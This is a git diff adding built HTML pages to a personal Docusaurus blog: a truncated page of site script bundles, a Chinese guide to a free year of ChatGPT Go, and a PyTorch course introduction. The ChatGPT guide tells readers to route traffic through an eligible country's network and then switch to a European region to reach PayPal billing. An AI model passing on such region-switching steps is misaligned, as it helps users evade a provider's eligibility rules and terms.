\u952e\u76d8\u8bb0\u5f55\u7a0b\u5e8f"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#other-ways",children:"Other ways"})}),"\n"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"#identify-an-xss-endpoint",children:"\u8bc6\u522b XSS \u7aef\u70b9"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#tools",children:"Tools"})}),"\n"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"#xss-in-htmlapplications",children:"HTML/\u5e94\u7528\u7a0b\u5e8f\u4e2d\u7684 XSS"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#common-payloads",children:"\u666e\u901a\u6709\u6548\u8f7d\u8377"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#xss-using-html5-tags",children:"\u4f7f\u7528 HTML5 \u6807\u8bb0\u7684 XSS"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#xss-using-a-remote-js",children:"\u4f7f\u7528\u8fdc\u7a0b JS \u7684 XSS"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#xss-in-hidden-input",children:"\u9690\u85cf\u8f93\u5165\u4e2d\u7684 XSS"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#xss-when-payload-is-reflected-capitalized",children:"\u6709\u6548\u8f7d\u8377\u53cd\u6620\u4e3a\u5927\u5199\u65f6\u7684 XSS"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#dom-based-xss",children:"\u57fa\u4e8e DOM \u7684 XSS"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#xss-in-js-context",children:"JS \u4e0a\u4e0b\u6587\u4e2d\u7684 XSS"})}),"\n"]}),"\n"]}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#xss-in-wrappers-javascript-and-data-uri",children:"\u5305\u88c5\u5668\u4e2d\u7684 XSS javascript \u548c\u6570\u636e URI"})}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"#xss-in-files",children:"\u6587\u4ef6\u4e2d\u7684 XSS"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#xss-in-xml",children:"XSS in XML"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#xss-in-svg",children:"XSS in SVG"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#xss-in-svg-short",children:"SVG \u4e2d\u7684 XSS\uff08\u77ed\uff09"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#xss-in-markdown",children:"\u964d\u4ef7\u4e2d\u7684 XSS"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#xss-in-swf-flash-application",children:"SWF \u95ea\u5b58\u5e94\u7528\u7a0b\u5e8f\u4e2d\u7684 XSS"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#xss-in-swf-flash-application-1",children:"SWF \u95ea\u5b58\u5e94\u7528\u7a0b\u5e8f\u4e2d\u7684 XSS"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#xss-in-css",children:"XSS in CSS"})}),"\n"]}),"\n"]}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#xss-in-postmessage",children:"PostMessage \u4e2d\u7684 XSS"})}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"#blind-xss",children:"Blind XSS"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#xss-hunter",children:"XSS Hunter"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#other-blind-xss-tools",children:"\u5176\u4ed6\u76f2 XSS \u5de5\u5177"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#blind-xss-endpoint",children:"\u76f2 XSS \u7aef\u70b9"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#tips",children:"Tips"})}),"\n"]}),"\n"]}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#mutated-xss",children:"\u7a81\u53d8 XSS"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#polyglot-xss",children:"Polyglot XSS"})}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"#filter-bypass-and-exotic-payloads",children:"\u8fc7\u6ee4\u5668\u65c1\u8def\u548c\u5947\u5f02\u6709\u6548\u8f7d\u8377"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-case-sensitive",children:"\u65c1\u8def\u533a\u5206\u5927\u5c0f\u5199"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-tag-blacklist",children:"\u7ed5\u8fc7\u6807\u7b7e\u9ed1\u540d\u5355"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-word-blacklist-with-code-evaluation",children:"\u901a\u8fc7\u4ee3\u7801\u8bc4\u4f30\u7ed5\u8fc7\u5355\u8bcd\u9ed1\u540d\u5355"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-with-incomplete-html-tag",children:"\u7ed5\u8fc7\u4e0d\u5b8c\u6574\u7684 html \u6807\u8bb0"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-quotes-for-string",children:"\u8df3\u8fc7\u5b57\u7b26\u4e32\u7684\u5f15\u53f7"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-quotes-in-script-tag",children:"\u7ed5\u8fc7\u811a\u672c\u6807\u8bb0\u4e2d\u7684\u5f15\u53f7"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-quotes-in-mousedown-event",children:"\u5728 mousedown \u4e8b\u4ef6\u4e2d\u7ed5\u8fc7\u5f15\u53f7"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-dot-filter",children:"\u65c1\u8def\u70b9\u8fc7\u6ee4\u5668"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-parenthesis-for-string",children:"\u5b57\u7b26\u4e32\u4e0d\u4f7f\u7528\u62ec\u53f7"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-parenthesis-and-semi-colon",children:"\u7ed5\u8fc7\u62ec\u53f7\u548c\u5206\u53f7"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-onxxxx-blacklist",children:"\u7ed5\u8fc7 onxxxx= \u9ed1\u540d\u5355"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-space-filter",children:"\u65c1\u8def\u7a7a\u95f4\u8fc7\u6ee4\u5668"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-email-filter",children:"\u7ed5\u8fc7\u7535\u5b50\u90ae\u4ef6\u7b5b\u9009\u5668"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-document-blacklist",children:"\u7ed5\u8fc7\u6587\u6863\u9ed1\u540d\u5355"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-document-cookie-blacklist",children:"\u7ed5\u8fc7 document.cookie \u9ed1\u540d\u5355"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-javascript-inside-a-string",children:"\u7ed5\u8fc7\u5728\u5b57\u7b26\u4e32\u4e2d\u4f7f\u7528 javascript"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-an-alternate-way-to-redirect",children:"\u7ed5\u8fc7\u4f7f\u7528\u5176\u4ed6\u65b9\u5f0f\u91cd\u5b9a\u5411"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-an-alternate-way-to-execute-an-alert",children:"\u7ed5\u8fc7\u4f7f\u7528\u5176\u4ed6\u65b9\u5f0f\u6267\u884c\u8b66\u62a5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass--using-nothing",children:"Bypass > using nothing"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass--and--using--and-",children:"Bypass < and > using \uff1c and \uff1e"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass--using-another-character",children:"\u4f7f\u7528\u5176\u4ed6\u5b57\u7b26\u8df3\u8fc7\u201c\uff1b\u201d"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-html-encoding",children:"\u7ed5\u8fc7\u4f7f\u7528 HTML \u7f16\u7801"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-katakana",children:"\u4f7f\u7528\u7247\u5047\u540d\u7ed5\u8fc7"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-cuneiform",children:"\u4f7f\u7528\u6954\u5f62\u6587\u5b57\u7ed5\u8fc7"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-lontara",children:"\u4f7f\u7528\u6717\u5854\u62c9\u7684\u65c1\u8def"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-ecmascript6",children:"\u4f7f\u7528 ECMAScript6 \u7ed5\u8fc7"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-octal-encoding",children:"\u4f7f\u7528\u516b\u8fdb\u5236\u7f16\u7801\u7ed5\u8fc7"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-unicode",children:"\u7ed5\u8fc7\u4f7f\u7528 Unicode"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-utf-7",children:"\u4f7f\u7528 UTF-7 \u65c1\u8def"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-utf-8",children:"\u7ed5\u8fc7\u4f7f\u7528 UTF-8"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-utf-16be",children:"\u4f7f\u7528 UTF-16be \u65c1\u8def"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-utf-32",children:"\u4f7f\u7528 UTF-32 \u65c1\u8def"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-bom",children:"\u4f7f\u7528 BOM \u7ed5\u8fc7"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-weird-encoding-or-native-interpretation",children:"\u7ed5\u8fc7\u4f7f\u7528\u5947\u602a\u7684\u7f16\u7801\u6216\u539f\u751f\u89e3\u91ca"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-jsfuck",children:"\u4f7f\u7528 jsfuck \u7ed5\u8fc7"})}),"\n"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"#csp-bypass",children:"CSP Bypass"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-csp-using-jsonp-from-google-trick-by-apfeifer27",children:"\u4f7f\u7528\u8c37\u6b4c\u7684 JSONP \u7ed5\u8fc7 CSP\uff08@apfeifer27 \u7684\u6280\u5de7\uff09"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-csp-by-labwallarmcom",children:"\u901a\u8fc7 lab.wallarm.com \u7ed5\u8fc7 CSP"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-csp-by-rhynorater",children:"Rhynorater \u7ed5\u8fc7 CSP"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-csp-by-akita_zen",children:"\u901a\u8fc7 @akita_zen \u7ed5\u8fc7 CSP"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-csp-by-404death",children:"\u7ed5\u8fc7 CSP@404death"})}),"\n"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"#common-waf-bypass",children:"\u901a\u7528 WAF \u65c1\u8def"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"#cloudflare-xss-bypasses-by-bohdan-korzhynskyi",children:"Cloudflare XSS \u7ed5\u8fc7 @Bohdan Korzhynskyi"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#25st-january-2021",children:"2021 \u5e74 1 \u6708 25 \u65e5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#21st-april-2020",children:"2020 \u5e74 4 \u6708 21 \u65e5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#22nd-august-2019",children:"2019 \u5e74 8 \u6708 22 \u65e5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#5th-june-2019",children:"2019 \u5e74 6 \u6708 5 \u65e5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#3rd-june-2019",children:"2019 \u5e74 6 \u6708 3 \u65e5"})}),"\n"]}),"\n"]}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#cloudflare-xss-bypass---22nd-march-2019-by-rakeshmane10",children:"Cloudflare XSS \u65c1\u8def-2019 \u5e74 3 \u6708 22 \u65e5\uff08\u901a\u8fc7 @RakeshMane10\uff09"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#cloudflare-xss-bypass---27th-february-2018",children:"Cloudflare XSS \u65c1\u8def-2018 \u5e74 2 \u6708 27 \u65e5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#chrome-auditor---9th-august-2018",children:"Chrome \u5ba1\u8ba1\u5458-2018 \u5e74 8 \u6708 9 \u65e5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#incapsula-waf-bypass-by-alra3ees--8th-march-2018",children:"Incapsula WAF \u65c1\u8def\u7531 @Alra3ees \u63d0\u4f9b-2018 \u5e74 3 \u6708 8 \u65e5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#incapsula-waf-bypass-by-c0d3g33k---11th-september-2018",children:"Incapsula WAF Bypass by@c0d3G33k-2018 \u5e74 9 \u6708 11 \u65e5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#incapsula-waf-bypass-by-daveysec---11th-may-2019",children:"Incapsula WAF \u65c1\u8def\uff0c@daveysec-2019 \u5e74 5 \u6708 11 \u65e5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#akamai-waf-bypass-by-zseano---18th-june-2018",children:"Akamai WAF \u7ed5\u8fc7 @zseano-2018 \u5e74 6 \u6708 18 \u65e5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#akamai-waf-bypass-by-s0md3v---28th-october-2018",children:"Akamai WAF \u7ed5\u8fc7 @s0md3v-2018 \u5e74 10 \u6708 28 \u65e5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#wordfence-waf-bypass-by-brutelogic---12th-september-2018",children:"WordFence WAF Bypass by@brutelogic-2018 \u5e74 9 \u6708 12 \u65e5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#fortiweb-waf-bypass-by-rezaduty---9th-july-2019",children:"Fortiweb WAF Bypass by@rezaduty-2019 \u5e74 7 \u6708 9 \u65e5"})}),"\n"]}),"\n"]}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#references",children:"References"})}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,l.jsx)(n.h2,{id:"\u6f0f\u6d1e\u8be6\u7ec6\u4fe1\u606f",children:"\u6f0f\u6d1e\u8be6\u7ec6\u4fe1\u606f"}),"\n",(0,l.jsx)(n.p,{children:"\u8de8\u7ad9\u70b9\u811a\u672c\uff08XSS\uff09\u662f\u4e00\u79cd\u8ba1\u7b97\u673a\u5b89\u5168\u6f0f\u6d1e\uff0c\u901a\u5e38\u5b58\u5728\u4e8e web \u5e94\u7528\u7a0b\u5e8f\u4e2d\u3002XSS \u5141\u8bb8\u653b\u51fb\u8005\u5c06\u6076\u610f\u4ee3\u7801\u6ce8\u5165\u7f51\u7ad9\uff0c\u7136\u540e\u5728\u4efb\u4f55\u8bbf\u95ee\u8be5\u7f51\u7ad9\u7684\u4eba\u7684\u6d4f\u89c8\u5668\u4e2d\u6267\u884c\u3002\u8fd9\u53ef\u80fd\u5141\u8bb8\u653b\u51fb\u8005\u7a83\u53d6\u654f\u611f\u4fe1\u606f\uff0c\u5982\u7528\u6237\u767b\u5f55\u51ed\u636e\uff0c\u6216\u6267\u884c\u5176\u4ed6\u6076\u610f\u64cd\u4f5c\u3002"}),"\n",(0,l.jsx)(n.p,{children:"XSS \u653b\u51fb\u4e3b\u8981\u6709\u4e09\u79cd\u7c7b\u578b\uff1a"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u811a\u672c\u6f0f\u6d1e"}),"\uff1a\u5728\u53cd\u5c04 XSS \u653b\u51fb\u4e2d\uff0c\u6076\u610f\u4ee3\u7801\u5d4c\u5165\u53d1\u9001\u7ed9\u53d7\u5bb3\u8005\u7684\u94fe\u63a5\u4e2d\u3002\u5f53\u53d7\u5bb3\u8005\u70b9\u51fb\u94fe\u63a5\u65f6\uff0c\u4ee3\u7801\u4f1a\u5728\u4ed6\u4eec\u7684\u6d4f\u89c8\u5668\u4e2d\u6267\u884c\u3002\u4f8b\u5982\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u521b\u5efa\u4e00\u4e2a\u5305\u542b\u6076\u610f JavaScript \u7684\u94fe\u63a5\uff0c\u5e76\u901a\u8fc7\u7535\u5b50\u90ae\u4ef6\u5c06\u5176\u53d1\u9001\u7ed9\u53d7\u5bb3\u8005\u3002\u5f53\u53d7\u5bb3\u8005\u70b9\u51fb\u94fe\u63a5\u65f6\uff0cJavaScript \u4ee3\u7801\u4f1a\u5728\u4ed6\u4eec\u7684\u6d4f\u89c8\u5668\u4e2d\u6267\u884c\uff0c\u4f7f\u653b\u51fb\u8005\u80fd\u591f\u6267\u884c\u5404\u79cd\u64cd\u4f5c\uff0c\u4f8b\u5982\u7a83\u53d6\u4ed6\u4eec\u7684\u767b\u5f55\u51ed\u636e\u3002"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u5b58\u50a8\u578b\u8de8\u7ad9\u811a\u672c\u6f0f\u6d1e"}),"\uff1a\u5728\u5b58\u50a8 XSS \u653b\u51fb\u4e2d\uff0c\u6076\u610f\u4ee3\u7801\u5b58\u50a8\u5728\u670d\u52a1\u5668\u4e0a\uff0c\u6bcf\u6b21\u8bbf\u95ee\u6613\u53d7\u653b\u51fb\u7684\u9875\u9762\u65f6\u90fd\u4f1a\u6267\u884c\u3002\u4f8b\u5982\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5728\u535a\u5ba2\u6587\u7ae0\u7684\u8bc4\u8bba\u4e2d\u6ce8\u5165\u6076\u610f\u4ee3\u7801\u3002\u5f53\u5176\u4ed6\u7528\u6237\u67e5\u770b\u535a\u5ba2\u6587\u7ae0\u65f6\uff0c\u6076\u610f\u4ee3\u7801\u4f1a\u5728\u4ed6\u4eec\u7684\u6d4f\u89c8\u5668\u4e2d\u6267\u884c\uff0c\u4f7f\u653b\u51fb\u8005\u80fd\u591f\u6267\u884c\u5404\u79cd\u64cd\u4f5c\u3002"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u57fa\u4e8e DOM \u7684 XSS"}),"\uff1a\u662f\u4e00\u79cd XSS \u653b\u51fb\uff0c\u5f53\u6613\u53d7\u653b\u51fb\u7684 web \u5e94\u7528\u7a0b\u5e8f\u4fee\u6539\u7528\u6237\u6d4f\u89c8\u5668\u4e2d\u7684 DOM\uff08\u6587\u6863\u5bf9\u8c61\u6a21\u578b\uff09\u65f6\u4f1a\u53d1\u751f\u8fd9\u79cd\u653b\u51fb\u3002\u4f8b\u5982\uff0c\u5f53\u7528\u6237\u8f93\u5165\u4ee5\u67d0\u79cd\u65b9\u5f0f\u7528\u4e8e\u66f4\u65b0\u9875\u9762\u7684 HTML \u6216 JavaScript \u4ee3\u7801\u65f6\uff0c\u5c31\u4f1a\u53d1\u751f\u8fd9\u79cd\u60c5\u51b5\u3002\u5728\u57fa\u4e8e DOM \u7684 XSS \u653b\u51fb\u4e2d\uff0c\u6076\u610f\u4ee3\u7801\u4e0d\u4f1a\u53d1\u9001\u5230\u670d\u52a1\u5668\uff0c\u800c\u662f\u76f4\u63a5\u5728\u7528\u6237\u7684\u6d4f\u89c8\u5668\u4e2d\u6267\u884c\u3002\u8fd9\u53ef\u80fd\u4f1a\u4f7f\u68c0\u6d4b\u548c\u9884\u9632\u8fd9\u4e9b\u7c7b\u578b\u7684\u653b\u51fb\u53d8\u5f97\u56f0\u96be\uff0c\u56e0\u4e3a\u670d\u52a1\u5668\u6ca1\u6709\u4efb\u4f55\u6076\u610f\u4ee3\u7801\u7684\u8bb0\u5f55\u3002"]}),"\n"]}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"\u4e3a\u4e86\u9632\u6b62 XSS \u653b\u51fb\uff0c\u6b63\u786e\u9a8c\u8bc1\u548c\u51c0\u5316\u7528\u6237\u8f93\u5165\u975e\u5e38\u91cd\u8981\u3002\u8fd9\u610f\u5473\u7740\u786e\u4fdd\u6240\u6709\u8f93\u5165\u90fd\u7b26\u5408\u5fc5\u8981\u7684\u6807\u51c6\uff0c\u5e76\u5220\u9664\u4efb\u4f55\u6f5c\u5728\u7684\u5371\u9669\u5b57\u7b26\u6216\u4ee3\u7801\u3002\u5728\u6d4f\u89c8\u5668\u4e2d\u5448\u73b0\u7528\u6237\u8f93\u5165\u4e4b\u524d\uff0c\u8f6c\u4e49\u7528\u6237\u8f93\u5165\u4e2d\u7684\u7279\u6b8a\u5b57\u7b26\u4e5f\u5f88\u91cd\u8981\uff0c\u4ee5\u9632\u6b62\u6d4f\u89c8\u5668\u5c06\u5176\u89e3\u91ca\u4e3a\u4ee3\u7801\u3002"}),"\n",(0,l.jsx)(n.h2,{id:"\u5229\u7528\u4ee3\u7801\u6216-poc",children:"\u5229\u7528\u4ee3\u7801\u6216 POC"}),"\n",(0,l.jsx)(n.h3,{id:"xss-\u6570\u636e\u91c7\u96c6\u5668",children:"XSS \u6570\u636e\u91c7\u96c6\u5668"}),"\n",(0,l.jsx)(n.p,{children:"\u83b7\u5f97\u7ba1\u7406\u5458 cookie \u6216\u654f\u611f\u8bbf\u95ee\u4ee4\u724c\u540e\uff0c\u4ee5\u4e0b\u8d1f\u8f7d\u5c06\u5176\u53d1\u9001\u5230\u53d7\u63a7\u9875\u9762\u3002"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-html",children:" + + + + + + + + + + \ No newline at end of file diff --git a/docs/personal/articles/free-chatgpt-go-one-year/index.html b/docs/personal/articles/free-chatgpt-go-one-year/index.html new file mode 100644 index 0000000..641624b --- /dev/null +++ b/docs/personal/articles/free-chatgpt-go-one-year/index.html @@ -0,0 +1,221 @@ + + + + + +【限时白嫖】免费领取一年ChatGPT Go套餐 | ChatGPT Plus青春版 | 使用GPT-5更加从从容容,游刃有余 ! | wjlin0 + + + + + + + +

【限时白嫖】免费领取一年ChatGPT Go套餐 | ChatGPT Plus青春版 | 使用GPT-5更加从从容容,游刃有余 !

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-08-28 19:22:45
+

领取条件​

+
    +
  • 需要一个任意地区的PayPal
  • +
  • 一张支持外币支付的中国区的信用卡
  • +
  • 只对一下地址开放,所以你得有以下地区的网络,例如我这里选择印度
  • +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
阿富汗阿尔及利亚安哥拉奥地利¹
孟加拉国贝宁不丹玻利维亚
博茨瓦纳巴西¹文莱达鲁萨兰国布基纳法索
布隆迪柬埔寨喀麦隆佛得角
中非共和国乍得科摩罗刚果(布拉柴维尔)
捷克共和国¹刚果民主共和国丹麦¹吉布提
埃及¹萨尔瓦多赤道几内亚厄立特里亚
埃斯瓦蒂尼(原斯威士兰)埃塞俄比亚法属南部领地加蓬
冈比亚加纳几内亚几内亚比绍
海地洪都拉斯印度¹印度尼西亚¹
科特迪瓦哈萨克斯坦¹肯尼亚吉尔吉斯斯坦
老挝莱索托利比里亚利比亚
马达加斯加马拉维马来西亚¹马尔代夫
马里毛里塔尼亚毛里求斯马约特岛
蒙古摩洛哥莫桑比克缅甸
纳米比亚尼泊尔尼加拉瓜尼日尔
尼日利亚¹挪威¹巴基斯坦¹巴布亚新几内亚
菲律宾¹波兰¹葡萄牙¹团圆
卢旺达圣赫勒拿岛圣多美和普林西比塞内加尔
塞舌尔塞拉利昂索马里南非¹
南苏丹西班牙¹斯里兰卡苏丹
塔吉克斯坦坦桑尼亚¹泰国¹东帝汶
多哥突尼斯土库曼斯坦乌干达
乌兹别克斯坦越南¹也门赞比亚
津巴布韦
+

外币支付信用卡领取教程​

+
+

这部分可选择招商的 Visa 卡

+
+
https://cc.cmbchina.com/card/
+

image-20251110152241394

+

领取实操​

+

首先你在上表中的任意地区均可,并访问chatgpt,即可在页面中显示免费试用 Go

+

image-20251110144021236

+

接下来是最重要的步骤,这关系到你能否使用Paypal 绑定,点击右下角的印度(你们可能有所不同),切换至欧洲任意地区,例如图中的法国

+

image-20251110144133319

+

点击切换后,再次点击图中的 升级至Go,即可出现PayPal支付

+

image-20251110144207423

+

登录PayPal,并绑定信用卡

+

image-20251110144539996

+

点击同意并继续后,切换回来即可看到已经是 Go 套餐了

+

image-20251110144856290

+

注意事项​

+

由于该套餐是每月一次续费,所以你不能直接取消订阅,而且等到一年后取消,所以各位设置好日记闹钟

+

image-20251110151606280

+

后续无需使用印度或你当前选择的地区节点,其他地区的节点均可

+

总结​

+

如果你也想免费领取一年 ChatGPT Go 套餐 ,则需要前置的三个条件,记得关注小王说安全,带你解锁更多隐藏福利,玩转前沿科技!

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/index.html b/docs/个人知识库/AI/PyTorch/index.html new file mode 100644 index 0000000..9d35f6c --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/index.html @@ -0,0 +1,257 @@ + + + + + +PyTorch | wjlin0 + + + + + + + +

PyTorch

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:42
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

深入浅出PyTorch

+

PyTorch是利用深度学习进行数据科学研究的重要工具,在灵活性、可读性和性能上都具备相当的优势,近年来已成为学术界实现深度学习算法最常用的框架。

+

考虑到PyTorch的学习兼具理论储备和动手训练,两手都要抓两手都要硬的特点,我们开发了《深入浅出PyTorch》课程,期望以组队学习的形式,帮助大家从入门到熟练掌握PyTorch工具,进而实现自己的深度学习算法。

+

我们的愿景是:通过组队学习,大家能够掌握由浅入深地PyTorch的基本知识和内容,经过自己的动手实践加深操作的熟练度。同时通过项目实战,充分锻炼编程能力,掌握PyTorch进行深度学习的基本流程,提升解决实际问题的能力。

+

学习的先修要求是,会使用Python编程,了解包括神经网络在内的机器学习算法,勤于动手实践。

+

《深入浅出PyTorch》是一个系列,一共有三个部分。已经上线的是本系列的第一、二部分,后续会不断更新《深入浅出PyTorch》(下),给出更贴合实际应用的实战案例。

+
:maxdepth: 2
:caption: 目录
第零章/index
第一章/index
第二章/index
第三章/index
第四章/index
第五章/index
第六章/index
第七章/index
第八章/index
第九章/index
第十章/index
+

人员安排​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
成员 个人简介个人主页
